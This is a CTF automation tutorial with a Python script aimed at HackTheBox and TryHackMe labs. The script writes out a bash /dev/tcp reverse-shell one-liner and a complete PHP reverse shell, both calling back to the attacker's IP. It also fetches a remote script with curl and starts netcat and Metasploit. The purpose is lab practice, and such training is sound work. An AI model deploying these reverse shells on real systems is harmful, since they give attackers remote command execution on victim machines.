AUTOMATE CTFS

Here we're going to automate some tasks that we do when playing CTFs (Specially for HackTheBox and TryHackMe)

Our plan

1)  Finding the tun0 IP of our machine
2)  Creating bash and php-rev-shell payloads for that IP
3)  Checking the Machine IP is in live or not
4)  If it's live then opening it in a web browser
5)  Running port scan
6)  Directory Brute-forcing
7)  Opening required terminals
8)  Starting a python server to send payload files
9)  Starting a netcat to get shell
10) Opening Metasploit
11) Save-time.txt

So this is our plan, we're going to automate these tasks. Let's go step by step

Importing required modules

from os import system as cmd
from time import sleep
import pyautogui as py
import subprocess
import re
import webbrowser 

We need Machine IP to use it in future tasks, so let's assign it here
MACHINE_IP = "10.10.10.230"

Finding the tun0 IP of our machine

with open('ip.txt','w') as f:
        ip = subprocess.run(['ip', 'a'],stdout=f,text=True)

Here we're running ip a command and redirecting the stdout to f . So, We can save the result in "ip.txt" file

Seperating tun0 IP from "ip.txt"

txt_file = open('ip.txt','r')
IP = txt_file.read()
pattern = re.compile("[10]+\.+[10]+\.+\d\d+\.+\w{2,3}")
search_tun0 = pattern.findall(IP)
tun0_IP = search_tun0[0]
print("TUN0 IP FOUND:",tun0_IP)

Here we opened "ip.txt" file and searching a specific pattern in it

generating bash revshell and php-rev-shell payloads

bash rev shell
port = "9001"
rev_shell = "bash -c 'bash -i >& /dev/tcp/"+tun0_IP+"/"+port+" 0>&1\'"
shell_txt = open('shell.sh','w')
shell_txt.write(rev_shell)
shell_txt.close()
cmd('echo " " >> shell.sh') # to avoid that '#' char in last part of code

creating "shell.sh" file and writing bash-rev-shell payload in it

php rev shell
rev_txt = open('php-rev-shell.php','w')

creating "php-rev-shell.php" file and writing php-rev-shell payload in it

rev_txt.write('''<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = "'''+ tun0_IP + '''\";
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();
        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }
        if ($pid) {
                exit(0);  // Parent exits
        }
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }
        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}
?>
''')
rev_txt.close()
print("\nPHP and BASH Rev Shell Files Created SUCESSFULLY")

Checking whether the IP is live or not

print("\nChecking whether the IP is live or not")
cmd("echo 'ping -w 3 '"+MACHINE_IP+" > cmd.sh")
with open('ping.txt','w') as ping:
        png = subprocess.run(['bash','cmd.sh'],stdout=ping,text=True)
ping = open('ping.txt','r')
ping_txt = ping.read()

if "100% packet loss" in ping_txt or "Host Unreachable" in ping_txt:
        print("CHECK YOUR OVPN CONNECTION\nIP IS NOT REACHABLE :/")
        exit()
print("\nTHE IP",MACHINE_IP,"IS LIVE")

This part will check whether the Machine IP is in live or not, If it's offline or not reachable then the script will stops

creating htbs scan file

cmd('curl https://raw.githubusercontent.com/jopraveen/htbscan/main/htbs.py -o htbs.py')

I've created a small script to make the port scan faster. So here we're downloading it
To know more about this script, watch this video: https://youtu.be/1Va6ws_o5w4

save time.txt

save_time_txt = open('save-time.txt','w')
save_time_txt.write('''
curl http://'''+tun0_IP+''':8080/php-rev-shell.php'''
+'''

'''+
rev_shell+'''

DEFAULT CREDS FOR LOGIN PAGE:

''')
save_time_txt.close()

Here we're going to save our time by using this file... we can copy this when it's needed

removing unwanted files and arranging payloads in a folder

cmd('rm ip.txt ping.txt cmd.sh')
cmd('mkdir www && mv save-time.txt php-rev-shell.php shell.sh www/')

opening IP in web browser

webbrowser.open_new("http://"+MACHINE_IP)
sleep(2)

Important part

The above things in the script are similar to everyone, but hereafter you need to create your own script... It's not same for everyone :/
I'll show you some examples to make it easier

Switching application

Just now we opened a browser, We need to switch back to terminal to run next tasks
So find your hot key to switch between apps, Mine is ALT + TAB I hope this is also similar to most of the people

py.hotkey('ALT','TAB')
sleep(4)

Ok now we done this, make sure you changed the hot key in the above script

Running port scan

py.write('python3 htbs.py '+ MACHINE_IP[-3:])
py.hotkey('ENTER')

Now here we're running our fastest port scan script, It requires the last 3 digits of Machine IP as an argument to run the scan. So, I added MACHINE_IP[-3:] here
And finally we need to press ENTER key to run this command

Spliting terminal vertically

We need to split our terminal and need to do directory bruteforcing there

py.hotkey('CTRL','SHIFT','RIGHT')

My Hot key for splitting terminal vertically is CTRL + SHIFT + RIGHT Change your's there

Going to that terminal

py.hotkey('ALT','RIGHT')
sleep(2)

If we press ALT + RIGHT then we can go to that splited terminal and we can type commands there and run it
Change this if it's not same for you

Directory Brute Forcing

Here I'm using gobuster to brute-force the directories
Change it if you use other tools also change your wordlist path too

py.write("gobuster dir -u http://"+MACHINE_IP+"/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt")
py.hotkey('ENTER')

Now this will start the gobuster

opening required terminals

Now I'm going to open a new tab with 4 terminals
See how we can do this

1

Here this is the hot key to open a new tab CRTL + SHIFT + T
ok now let's see how to open it with 4 terminals

2

Go to your terminals settings and change this to 4 terminals

3

Now you'll get beautiful terminals like this :)

Starting a netcat listener and a python server

py.hotkey('ALT','RIGHT')
py.hotkey('CTRL','SHIFT','DOWN')
py.write('nc -lvvnp 9005')
py.hotkey('ENTER')

Now I'm moving to the right terminal by pressing ALT + TAB and splitting the terminal vertically by pressing CTRL + SHIFT + DOWN
and starting a netcat listener

see how it looks like

4

I hope now you'll get an idea of what's happening here

Now python server

py.hotkey('ALT','UP')
py.write('cd /home/kali/auto-ctf/www')
py.hotkey('ENTER')
py.write('python3 -m http.server 8080')
py.hotkey('ENTER')

Ok now we're moving upwards and going to our folder (our payloads folder) and starting a python server there

Opening Save-time.txt

py.hotkey('ALT','DOWN')
py.hotkey('ALT','DOWN')
py.write('cd /home/kali/auto-ctf/www')
py.hotkey('ENTER')
py.write('cat save-time.txt')
py.hotkey('ENTER')

Moving to the bottom last terminal and opeing our save-time.txt file

Opening Metasploit

py.hotkey('ALT','LEFT')
py.write('msfconsole')
py.hotkey('ENTER')

Moving to left terminal and starting metasploit there

All Done

py.hotkey('ALT','UP')
py.write('figlet "LET\'S GO" | lolcat -a -d 3')
py.hotkey('ENTER')

Ok now we completed All the tasks, So printing "Let's Go"

Make sure you changed all these stuffs, Then you can run this on your machine
If you have any issues, Kindly post it in the issues page.
I hope it's helpful to many peoples who do CTFs and It saves your valuable time
Thankyou :)
